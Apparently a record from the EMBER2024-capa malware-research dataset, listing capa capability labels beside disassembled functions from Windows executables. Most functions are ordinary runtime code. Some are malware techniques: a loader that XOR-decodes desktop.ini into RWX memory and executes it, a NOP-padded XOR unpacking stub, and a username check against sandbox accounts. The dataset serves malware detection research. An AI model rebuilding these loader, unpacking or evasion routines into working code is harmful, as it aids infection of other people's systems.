joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4040ca
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x408e24], ebx
push esi
push edi
jne 0x40414c
push 0x401838
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x404187
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40182c
push edi
call esi
test eax, eax
mov dword [0x408e24], eax
je 0x404187
push 0x40181c
push edi
call esi
push 0x401808
push edi
mov dword [0x408e28], eax
call esi
cmp dword [0x4089b4], 2
mov dword [0x408e2c], eax
jne 0x40414c
push 0x4017ec
push edi
call esi
test eax, eax
mov dword [0x408e34], eax
je 0x40414c
push 0x4017d4
push edi
call esi
mov dword [0x408e30], eax
mov eax, dword [0x408e30]
test eax, eax
je 0x404191
call eax
test eax, eax
je 0x404178
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x408e34]
test eax, eax
je 0x404178
test byte [ebp - 8], 1
jne 0x404191
cmp dword [0x4089c0], 4
jb 0x40418b
or byte [ebp + 0x12], 0x20
jmp 0x4041b0
xor eax, eax
jmp 0x4041c0
or byte [ebp + 0x12], 4
jmp 0x4041b0
mov eax, dword [0x408e28]
test eax, eax
je 0x4041b0
call eax
mov ebx, eax
test ebx, ebx
je 0x4041b0
mov eax, dword [0x408e2c]
test eax, eax
je 0x4041b0
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x408e24]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405036
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x405067
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x40506e
cmp ebx, dword [ebp + 8]
jae 0x40506e
xor eax, eax
jmp 0x40525e
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40507f
xor eax, eax
inc eax
jmp 0x40525d
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x405095
cmp ecx, edx
jae 0x4051da
cmp dword [eax + 4], 0
je 0x40509e
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x405086
cmp dword [ebp + 8], 0
je 0x4050c0
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4051da
cmp eax, esi
jae 0x4051da
mov eax, dword [0x408e40]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x4050e5
cmp dword [esi*4 + 0x408e48], edi
je 0x4051de
inc esi
cmp esi, eax
jl 0x4050d3
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40525a
cmp dword [ebp - 8], 0x1000000
jne 0x40525a
test byte [ebp - 0xc], 0xcc
je 0x405163
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40525a
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40525a
cmp word [eax + 0x18], 0x10b
jne 0x40525a
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40525a
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x405163
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x405163
test byte [ecx + 0x27], 0x80
jne 0x4051da
push 1
push 0x408e88
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x405077
mov ecx, dword [0x408e40]
test ecx, ecx
mov edx, ecx
jle 0x405197
lea eax, [ecx*4 + 0x408e44]
cmp dword [eax], edi
je 0x405197
dec edx
sub eax, 4
test edx, edx
jg 0x40518b
test edx, edx
jne 0x4051c8
push 0xf
pop ebx
cmp ecx, ebx
jg 0x4051a4
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4051bc
lea eax, [edx*4 + 0x408e48]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4051aa
cmp ecx, 0x10
jge 0x4051c8
inc ecx
mov dword [0x408e40], ecx
push 0
push 0x408e88
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x405077
xor eax, eax
jmp 0x40525d
test esi, esi
jle 0x405077
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x408e88
call ebx
test eax, eax
jne 0x405077
cmp dword [esi*4 + 0x408e48], edi
je 0x405234
mov eax, dword [0x408e40]
lea esi, [eax - 1]
test esi, esi
jl 0x405222
cmp dword [esi*4 + 0x408e48], edi
je 0x40521e
dec esi
jns 0x405212
test esi, esi
jge 0x405232
cmp eax, 0x10
jge 0x40522d
inc eax
mov dword [0x408e40], eax
lea esi, [eax - 1]
jmp 0x405234
je 0x40524c
xor ecx, ecx
test esi, esi
jl 0x40524c
lea eax, [ecx*4 + 0x408e48]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x40523a
push 0
push 0x408e88
call ebx
jmp 0x405077
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4052fb
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x424
mov ecx, dword [ebp + 8]
cmp ecx, dword [0x40a148]
mov eax, dword [0x408004]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], edi
jae 0x4054e1
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x40a160]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x424], ebx
je 0x4054e1
and dword [ebp - 0x414], 0
and dword [ebp - 0x420], 0
cmp dword [ebp + 0x10], 0
jne 0x40536c
xor eax, eax
jmp 0x4054f5
test al, 0x20
je 0x40537f
push 2
push 0
push 0
push ecx
call fcn.004062b8
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x40543f
and dword [ebp - 0x40c], 0
cmp dword [ebp + 0x10], 0
mov dword [ebp - 0x410], edi
jbe 0x4054bb
mov ecx, dword [ebp - 0x410]
xor edi, edi
sub ecx, dword [ebp - 0x41c]
lea eax, [ebp - 0x408]
cmp ecx, dword [ebp + 0x10]
jae 0x4053ee
mov edx, dword [ebp - 0x410]
inc dword [ebp - 0x410]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x4053dc
inc dword [ebp - 0x420]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x424]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x4053b8
mov edi, eax
lea eax, [ebp - 0x408]
sub edi, eax
push 0
lea eax, [ebp - 0x418]
push eax
push edi
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40546d
mov eax, dword [ebp - 0x418]
add dword [ebp - 0x414], eax
cmp eax, edi
jl 0x405479
mov eax, dword [ebp - 0x410]
sub eax, dword [ebp - 0x41c]
cmp eax, dword [ebp + 0x10]
jb 0x4053a4
jmp 0x405479
push 0
lea ecx, [ebp - 0x418]
push ecx
push dword [ebp + 0x10]
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40546d
mov eax, dword [ebp - 0x418]
and dword [ebp - 0x40c], 0
mov dword [ebp - 0x414], eax
jmp 0x405479
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x414]
test eax, eax
jne 0x4054d9
cmp dword [ebp - 0x40c], eax
je 0x4054b5
push 5
pop eax
cmp dword [ebp - 0x40c], eax
jne 0x4054a7
mov dword [0x4089a8], 9
mov dword [0x4089ac], eax
jmp 0x4054f2
push dword [ebp - 0x40c]
call fcn.00406182
pop ecx
jmp 0x4054f2
mov edi, dword [ebp - 0x41c]
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x4054cd
cmp byte [edi], 0x1a
je 0x405365
mov dword [0x4089a8], 0x1c
jmp 0x4054eb
sub eax, dword [ebp - 0x420]
jmp 0x4054f5
mov dword [0x4089a8], 9
and dword [0x4089ac], 0
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0040236e
leave
ret
Function at 0x406759
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
push 4
pop eax
call fcn.00406870
mov dword [ebp - 8], esp
push 0x1c
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x406855
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [ebp - 0x4c]
xor esi, esi
cmp dword [0x4089b4], 2
jne 0x4067da
push 0x401dac
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, esi
je 0x4067da
push 0x401d94
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x4067da
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 4], esi
call eax
cmp eax, 1
pop ecx
jne 0x4067da
cmp dword [ebp - 4], esi
jbe 0x4067da
mov esi, dword [ebp - 4]
mov edx, dword [0x4089b4]
mov ebx, edx
dec ebx
neg ebx
sbb ebx, ebx
and ebx, 0x103
lea ecx, [edi - 1]
lea eax, [esi + edi - 1]
not ecx
inc ebx
and eax, ecx
mov dword [ebp - 4], eax
je 0x406803
add eax, edi
mov dword [ebp - 4], eax
lea ecx, [edi + edi]
cmp eax, ecx
jae 0x40680f
mov dword [ebp - 4], ecx
mov eax, ecx
lea esi, [edi - 1]
not esi
and esi, dword [ebp - 8]
sub esi, eax
cmp edx, 1
jne 0x406821
push 0x11
pop edi
mov ecx, dword [ebp - 0xc]
add edi, ecx
cmp esi, edi
jb 0x406855
push 4
push 0x1000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x406855
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x406855
xor eax, eax
inc eax
jmp 0x406857
xor eax, eax
lea esp, [ebp - 0x5c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x8214d7c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x5bb09e4
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x404e30
Capabilities:
Create pipe
Create process on windows
Set environment variable
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x240c
call fcn.004114d0
mov eax, dword [0x45cafc]
mov ecx, dword [0x45c588]
push ebx
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x404f63
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp dword [0x45cafc], 0x959
jne 0x404f4c
push 0
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push 0
lea ecx, [ebp - 0x1008]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x1c08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
lea eax, [ebp - 0x1808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0x404794
push 0
push 0
push 0
call esi
push 0
lea ecx, [ebp - 0x2408]
push ecx
push 0
call edi
mov edx, dword [ebp - 4]
push edx
call fcn.00404ba0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404e6e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407642
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44d168]
jne 0x40764c
repz ret
jmp fcn.0040d44c

Function at 0x40d840
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040917a
and dword [ebp - 4], 0
cmp dword [0x453af8], 0
mov ebx, eax
jne 0x40d8f1
push 0x401cc0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d9a2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401cb4
push edi
call esi
test eax, eax
je 0x40d9a2
push eax
call fcn.00409108
mov dword [esp], 0x401ca4
push edi
mov dword [0x453af8], eax
call esi
push eax
call fcn.00409108
mov dword [esp], 0x401c90
push edi
mov dword [0x453afc], eax
call esi
push eax
call fcn.00409108
mov dword [esp], 0x401c74
push edi
mov dword [0x453b00], eax
call esi
push eax
call fcn.00409108
pop ecx
mov dword [0x453b08], eax
test eax, eax
je 0x40d8f1
push 0x401c5c
push edi
call esi
push eax
call fcn.00409108
pop ecx
mov dword [0x453b04], eax
mov eax, dword [0x453b04]
cmp eax, ebx
je 0x40d949
cmp dword [0x453b08], ebx
je 0x40d949
push eax
call fcn.00409183
push dword [0x453b08]
mov esi, eax
call fcn.00409183
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d949
test edi, edi
je 0x40d949
call esi
test eax, eax
je 0x40d940
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d940
test byte [ebp - 0xc], 1
jne 0x40d949
or dword [ebp + 0x10], 0x200000
jmp 0x40d982
mov eax, dword [0x453afc]
cmp eax, ebx
je 0x40d982
push eax
call fcn.00409183
pop ecx
test eax, eax
je 0x40d982
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d982
mov eax, dword [0x453b00]
cmp eax, ebx
je 0x40d982
push eax
call fcn.00409183
pop ecx
test eax, eax
je 0x40d982
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x453af8]
call fcn.00409183
pop ecx
test eax, eax
je 0x40d9a2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d9a4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40142b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret

Function at 0x401892
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push 0x408260
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x105
lea eax, [ebp - 0x10c]
push eax
call fcn.004029e0
add esp, 8
push 0
push 0x8000000
push 4
push 0x407be0
push 1
push 0x40000000
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
jne 0x4018fd
push 0x408260
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
jmp 0x4019a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40191f
push 2
push 0
push 0
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x401943
push 0
lea eax, [ebp - 4]
push eax
push 0x407204
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407204
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 3
push 0x40742c
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x408260
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403725
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407cb0
cmp edx, dword [eax]
je 0x403747
add eax, 8
inc ecx
cmp eax, 0x407d40
jl 0x403738
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407cb0]
jne 0x403875
mov eax, dword [0x4080b8]
cmp eax, 1
je 0x40384f
test eax, eax
jne 0x403778
cmp dword [0x407c04], 1
je 0x40384f
cmp edx, 0xfc
je 0x403875
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4037af
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403cd0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403e40
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4037f2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403e40
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x406490
push edi
call fcn.00404ad0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403cd0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403ce0
lea eax, [ebp - 0xa0]
push 0x406470
push eax
call fcn.00403ce0
push dword [esi + 0x407cb4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403ce0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00404a3e
add esp, 0x2c
pop edi
jmp 0x403875
lea eax, [ebp + 8]
lea esi, [esi + 0x407cb4]
push 0
push eax
push dword [esi]
call fcn.00403e40
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401ca0
Capabilities:
Enumerate processes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407813
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x278
mov eax, dword [0x40f040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x27c], esi
mov dword [ebp - 0x280], esi
xorps xmm0, xmm0
mov dword [ebp - 0x27c], 1
movups xmmword [esi], xmm0
push 0x20
movups xmmword [esi + 0x10], xmm0
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.004066ac
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 4], eax
lea ecx, [esi + 0xc]
mov dword [ebp - 4], 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 1
push dword [esi + 4]
mov dword [esi + 0x18], 7
push 0x10
mov dword [esi + 0x1c], 8
mov dword [esi], 0x3f800000
call fcn.00405640
push 0
mov dword [ebp - 4], 2
push 2
mov dword [ebp - 0x27c], 1
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401e88
lea eax, [ebp - 0x278]
mov dword [ebp - 0x278], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401e81
nop
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x44]
call fcn.00404cd0
lea edx, [ebp - 0x44]
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x2c]
call fcn.00401740
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x288]
mov ecx, esi
push eax
call fcn.00405bc0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x401e1f
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e15
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ea8
push ecx
push edx
call fcn.004067f1
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 7
jbe 0x401e6b
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401e61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ea8
push ecx
push edx
call fcn.004067f1
add esp, 8
lea eax, [ebp - 0x278]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401db0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040669e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x402e80
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407dbc
mov eax, dword fs:[0]
push eax
sub esp, 0x264
mov eax, dword [0x40f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0x101
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x40304e
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x240]
call fcn.00404cd0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x270]
xorps xmm0, xmm0
mov dword [ebp - 0x21c], 0
push str.runneradmin
movq qword [ebp - 0x224], xmm0
call fcn.00404cd0
push str.Lain
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 1
call fcn.00404cd0
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 2
push ecx
lea eax, [ebp - 0x240]
push eax
push ecx
lea ecx, [ebp - 0x224]
call fcn.00404410
push 0x404c70
push 2
push 0x18
lea eax, [ebp - 0x270]
mov byte [ebp - 4], 4
push eax
call fcn.004066dc
mov edi, dword [ebp - 0x224]
mov ebx, dword [ebp - 0x240]
cmp edi, dword [ebp - 0x220]
je 0x403007
cmp dword [edi + 0x14], 7
mov eax, edi
jbe 0x402f7f
mov eax, dword [edi]
cmp dword [ebp - 0x22c], 7
lea esi, [ebp - 0x240]
mov ecx, dword [ebp - 0x230]
cmova esi, ebx
cmp ecx, dword [edi + 0x10]
jne 0x402ff8
mov edx, ecx
test edx, edx
je 0x402fb3
sub esi, eax
mov cx, word [esi + eax]
cmp cx, word [eax]
jne 0x402ff8
add eax, 2
sub edx, 1
jne 0x402fa2
lea ecx, [ebp - 0x224]
call fcn.00405470
mov eax, dword [ebp - 0x22c]
cmp eax, 7
jbe 0x402ff4
lea ecx, [eax*2 + 2]
mov eax, ebx
cmp ecx, 0x1000
jb 0x402fea
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40303e
push ecx
push ebx
call fcn.004067f1
add esp, 8
mov al, 1
jmp 0x403050
add edi, 0x18
cmp edi, dword [ebp - 0x220]
jne 0x402f75
lea ecx, [ebp - 0x224]
call fcn.00405470
mov eax, dword [ebp - 0x22c]
cmp eax, 7
jbe 0x40304e
lea ecx, [eax*2 + 2]
mov eax, ebx
cmp ecx, 0x1000
jb 0x403044
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403044
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push ebx
call fcn.004067f1
add esp, 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040669e
mov esp, ebp
pop ebp
ret